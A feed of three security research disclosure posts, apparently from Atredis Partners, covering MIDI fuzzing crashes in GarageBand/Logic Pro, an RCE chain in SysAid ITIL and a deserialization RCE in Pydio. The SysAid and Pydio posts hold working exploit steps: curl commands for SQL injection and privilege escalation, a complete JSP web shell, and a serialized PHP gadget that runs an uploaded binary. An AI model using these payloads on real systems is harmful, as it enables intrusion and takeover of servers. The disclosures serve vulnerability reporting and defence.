❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayBlog - Atredis Partners

Veni, MIDI, Vici β€” Conquering CVE-2022-22657 and CVE-2022-22664

29 March 2022 at 14:00

Recently, Apple pushed two security fixes for issues in the way GarageBand and Logic Pro X parsed MIDI (musical instrument digital interface) data. GarageBand is free and is available in the default OS X image. Logic Pro X can be purchased in the App Store:

MIDI

Available for: macOS Big Sur 11.5 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: A memory initialization issue was addressed with improved memory handling.

CVE-2022-22657: Brandon Perry of Atredis Partners

MIDI

Available for: macOS Big Sur 11.5 and later

Impact: Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2022-22664: Brandon Perry of Atredis Partners

THE BACKGROUND

I do a lot with music and audio/visual-related work outside of my work at Atredis, but this is the first time my hobby in recording and music directly influenced my bug hunting.

While looking into MIDI support on Linux, I noticed the application Timidity was often used to play MIDI files. Unfortunately, Timidity has been unsupported for a very long time and no official source code repository seemed to exist. However, while playing with it, I got the idea to fuzz Timidity, but not because I wanted to look for any bugs in Timidity itself.

Setting up Timidity to fuzz was simple with AFL (American Fuzzy Lop). Firstly, compile with instrumentation, and you are good to go.

Fuzzing Timidity with AFL

After a few days, I wasn’t finding any more new paths. In the end, I had 100,000 weird MIDI files.

GARAGEBAND AND LOGIC

GarageBand comes installed by default on the latest Macs and is primarily how you play MIDIs on OS X. There are also iPad apps for both GarageBand and Logic Pro X. On OS X, by double-clicking on a MIDI, it will open in GarageBand by default. To me, this implied that I could pass a MIDI to the GarageBand binary as an argument on the command-line.

cd /Applications/GarageBand.app/Content/MacOS/
./GarageBand ~/test.midi

Sure enough, this opened GarageBand and the MIDI. To start running GarageBand against all of my MIDIs, I hacked up this quick bash script.

for i in `ls /Users/bperry/midis/` 
do 
    ./GarageBand /Users/bperry/midis/$i& 
    sleep 15 
    killall -9 GarageBand 
done

Luckily, GarageBand supports logging it’s crash reports with the OS X crash handler, so you get nice crash reports like this.

Time Awake Since Boot: 550000 seconds

System Integrity Protection: enabled

Crashed Thread:        0

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [86400]

VM Regions Near 0:
--> 
    __TEXT                      1062db000-1082af000    [ 31.8M] r-x/r-x SM=COW  /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X

Application Specific Information:
Squire | 9822ba165c8200ad3eea20c1d3f8a51ff3c7a5c38397f17d396e73f464c81ef7 | 285921cb956a827f4eba8133900ad6876a990855 | 2021-11-05_15:18:01
 

Thread 0 Crashed:
0   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000106e98f6d 0x1062db000 + 12312429
1   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000106e9a988 0x1062db000 + 12319112
2   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x00000001076757bc 0x1062db000 + 20555708
3   com.apple.AppKit              	0x00007fff23307f18 -[NSDocumentController(NSDeprecated) openDocumentWithContentsOfURL:display:error:] + 808
4   id:000053,src:000000,op:havoc,rep:8,+cov.mid	0x0000000107b9022c 0x1062db000 + 25907756
5   com.apple.Foundation          	0x00007fff212e449f __NSBLOCKOPERATION_IS_CALLING_OUT_TO_A_BLOCK__ + 7
6   com.apple.Foundation          	0x00007fff212e4397 -[NSBlockOperation main] + 98
7   com.apple.Foundation          	0x00007fff212e432a __NSOPERATION_IS_INVOKING_MAIN__ + 17

THE TAKEAWAY

In the end, I gave Apple 38 crashes. They determined 2 were security-relevant. These issues affected Logic Pro X and GarageBand on OSX and iOS and were fixed in version 10.4.6 of GarageBand and 10.7.3 in Logic Pro X. All of the files I provided Apple are available in the following Github repository.

https://github.com/brandonprry/apple_midi

When approaching opaque targets, it may be better to fuzz a faster and easier alternative and use the generated corpus against the more difficult target. It’s not a perfect technique, but can still be fruitful.

TIMELINE

  • Dec 2 2021 - Reported issues to Apple

  • Dec 3 2021 - Response from support confirming receipt

  • Jan 4 2022 - Atredis requests update

  • Jan 10 2022 - Atredis requests update

  • Jan 17 2022 - Apple responds with update

  • Feb 7 2022 - Atredis requests update

  • Feb 14 2022 - Atredis requests update

  • Feb 17 2022 - Apple responds with update. Parties agree to hold details until patch.

  • Mar 8 2022 - Apple requests credit details

  • Mar 8 2022 - Atredis confirms credit details

  • Mar 14 2022 - Details released and patches available.

Unauthenticated Remote Code Execution Chain in SysAid ITIL -- CVE-2021-43971, CVE-2021-43972, CVE-2021-43973, CVE-2021-43974

6 January 2022 at 15:00

Atredis Partners found a chain of vulnerabilities in the ITIL product offering by SysAid during personal research. Other competitors to this SysAid product are ManageEngine, Remedy, or other ticketing and workflow systems. The full chain of issues allows an unauthenticated attacker to gain full administrative rights over the ITIL installation and to execute arbitrary code for a local shell.

Atredis only tested the on-premises version of SysAid ITIL. If you are running an on-premises SysAid ITIL system, updating to the latest version will resolve the issues described below. At the time of this writing, the latest version for on-premises customers is 21.2.35.

You can find details from SysAid here: https://www.sysaid.com/product/on-premises/latest-release

Unauthenticated User Registration

First, the /enduserreg endpoint does not respect the server-side setting for allowing anonymous users to register. This requires the instance be set up with outgoing email, but once registered, the email used to register will be sent a new password for the user.

id=`curl http://192.168.1.113:8080/Login.jsp | grep -Eho 'accountid=(.*?)"' | cut -d '"' -f1 | cut -d '=' -f2`

curl -X POST --data "accountID="$id"&X_TOKEN_"$id"=%24tokenValue&thanksForm=thankyou.htm&X_TOKEN_"$id"_trial=%24tokenValue&[email protected]&firstName=Unauthed&lastName=User&sms=&phone=&mobile=&Save=" http://192.168.1.113:8080/enduserreg

Check your email, then let’s escalate our new user to admin.

SQL Injection

Once authenticated, the authenticated user can escalate their privileges with a stacked UPDATE query. The issue is in the getMobileList method in SysAidUser.java

String str1 = " ";
String str2 = "order by lower(calculated_user_name)";
if (paramString2 != null && paramString2.length() > 0) {
    paramString2 = paramString2.toLowerCase();
    str1 = " and lower(calculated_user_name) like '%" + paramString2 + "%' ";
} 

Above you can see paramString2 is used unsafely in the SQL query. This can used to build a stacked query which updates our user’s row in the database.

curl -H "Cookie: JSESSIONID=$sess" http://192.168.1.113:8080/mobile/SelectUsers.jsp?filterText=1';UPDATE sysaid_user SET administrator=CHAR(89),main_user=CHAR(89) WHERE user_name='[email protected]'--

In the above unencoded HTTP parameter, a stacked query was used to update a column in the user table which will be read during authentication, giving us admin on the SysAid instance.

Arbitrary File Upload

After escalating the privilege, it is possible to relogin as an admin user and upload a JSP shell. However, the shell is not within reach just yet. Next, you can upload an arbitrary file to the server with the UploadPsIcon.jsp endpoint, but this does not immediately make the uploaded file available on the web server. It will return an absolute path on the server though, which we can use at the next step. Note the required Referer header.

path=`curl -H "Referer: http://192.168.1.113:8080/UploadPsIcon.jsp?parent=UserSelfServiceSettings.jsp?uploadPsFile=true" -H "Cookie: JSESSIONID=$sess" -F "[email protected]" -F "X_TOKEN_$id=$token" "http://192.168.1.113:8080/UploadPsIcon.jsp?uploadPSFile=false&parent=UserSelfServiceSettings.jsp?uploadPsFile=true" 2>&1 | grep tempFile.value | cut -d '"' -f2`

echo $path

The file cmd.jsp is a simple JSP shell.

<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");

    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>

Arbitrary File Copy

Once uploaded, it is possible to copy a file from an arbitrary absolute path on the server to the directory meant to server images or icons. An absolute path exists from the previous step because it was returned in the response. Using the UserSelfServiceSettings.jsp endpoint, it is possible to pass on a path to copy a file from anywhere on the server itself into the web application to be available via an HTTP request. Note the required Referer header.

curl -X POST  -H "Referer: http://192.168.1.113:8080/UserSelfServiceSettings.jsp" -H "Cookie: JSESSIONID=$sess" --data "tabID=22&resetPasswordMethod=user&numberOfInvalidAttempts=5&blockUserMinutes=30&dummycaptcha=on&captcha=Y&enableGuest=N&userEmailAsIdentifier=N&PsImageUrl=&sendRandomCodeBySms=N&numberOfSecurityQuestions=2&answerMinimumLength=3&Apply=&OK=&Cancel=&Addtokb=&subAction=&reopenNote=&pageID=1&subPageID=1&replacePage=Y&changes=0&X_TOKEN_$id=$token&showAddFailMsgPopup=&paneMessage=&paneType=&paneBtnArrayButtons=&panePreSubmitFunc=&paneSubmitParentForm=&paneCancelFunc=hideOptionPane&tempFile=$path&fileName=cmd.jsp&psImageChange=true&id=" http://192.168.1.113:8080/UserSelfServiceSettings.jsp?uploadPsFile=true

Finally, A Shell

Once we have the file copied, it’s now possible to request a shell. Be sure to not use cookies. The configuration of the web server by default treats requests by authenticated users differently, and referencing the shell can only happen with an unauthenticated HTTP request.

curl http://192.168.1.113:8080/icons/ps/cmd.jsp?cmd=whoami

CVEs

/mobile/SelectUsers.jsp SQLi: CVE-2021-43971
/UserSelfServiceSettings.jsp unrestricted file copy: CVE-2021-43972
/UploadPsIcon.jsp unrestricted file upload:  CVE-2021-43973
/enduserreg anonymous user registration: CVE-2021-43974

Timeline

2021-09-21: SysAid notified. Original Proof-of-Concept (PoC) and emails blocked unbeknownst to both parties.

2021-10-05: Confirmed receipt of the original scripts to reproduce issues.

2021-11-17: CVE IDs allocated and communicated

2021-12-22: SysAid confirms issues resolved

2022-01-05: Details released

Authenticated RCE in Pydio (Forever-Day) -- CVE-2020-28913

7 December 2020 at 14:00

Pydio (formerly AjaXplorer) is an open source web application for remotely managing and sharing files. Users may upload files to the server and then are enabled to share files with public links in a similar way that Google Drive, Dropbox, or other cloud services work.

By sending a file copy request with a special HTTP variable used in code, but not exposed in the web UI, an attacker can overwrite the .ajxp_meta file. The .ajxp_meta file is a serialized PHP object written to the user’s directory and is deserialized when Pydio needs information about files it stores.

POST /pydio/index.php? HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/pydio/ws-my-files/
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://example.com
Content-Length: 124
Connection: close
Cookie: AjaXplorer=ak7jio5pphe6onko1gcofj05k4

get_action=copy&targetBaseName=../.ajxp_meta&dir=%2F&nodes[]=%2Fpayload&dest=%2F&secure_token=sG9TmYIkNsWTEEx5p5qLCHJcty0MfyQ3

Note the HTTP variable targetBaseName which defines a new name for the file copy. This variable is not checked to prevent overwriting special files. After uploading a file called payload containing our PHP gadget, we copy it over the .ajxp_meta file.

The contents of the payload file you can override the .ajxp_meta with may look similar to this PHP gadget. In tools like phpggc, which store collection of gadgets, there are a few that looked promising. However, in my own testing, none of the gadgets worked and I didn’t dig enough to find out why. Instead, I found a class used to generate Captcha images, which allowed you define a custom SoX binary path (so the captcha can be read for accessibility). This was my first foray into PHP gadgets and the path to finding this class was haphazard at best.

O:26:"GuzzleHttp\Stream\FnStream":1:{s:9:"_fn_close";a:2:{i:0;O:10:"Securimage":7:{s:13:"wordlist_file";s:62:"/usr/share/pydio/core/vendor/dapphp/securimage/words/words.txt";s:12:"captcha_type";i:2;s:13:"audio_use_sox";b:1;s:15:"sox_binary_path";s:56:"/var/lib/pydio/personal/atredis/shell.elf";s:13:"database_file";s:47:"/var/lib/pydio/personal/atredis/fdsa.db";s:12:"use_database";b:1;s:9:"namespace";s:4:"fdsa";}i:1;s:15:"outputAudioFile";}}

The above PHP object gadget will attempt to run a binary file that has been uploaded to the user's directory called shell.elf. We do make an assumption about a path on the server by passing an absolute path to the shell binary we uploaded. During testing, the location in the gadget was the default location with no special Pydio configurations.

This vulnerability affects the last release of Pydio Core (8.2.5) and likely many versions prior. Git blame places the code originally being committed in late 2016.

Pydio Core is considered End-of-Life by the Pydio developers and, as such, will receive no security patches going forward. Pydio Enterprise users should contact Pydio directly to mitigate the issue. The Pydio developers encourage users to upgrade to Pydio Cells, which is a complete rewrite of Pydio in Go and is not vulnerable.

Timeline

* 2020-09-03: Atredis Partners sent an initial notification to vendor, including a draft advisory.

* 2020-10-26: Atredis Partners sends an initial notification to CERT/CC (VRF#20-10-SWJYN).

* 2020-11-17: CVE-2020-28913 assigned by MITRE

* 2020-12-07: Atredis Partners publishes this advisory.


This blog post was written by Brandon Perry, technical peer review by Dion Blazakis, and edited for the web by Lacey Kasten at Atredis Partners.

❌
❌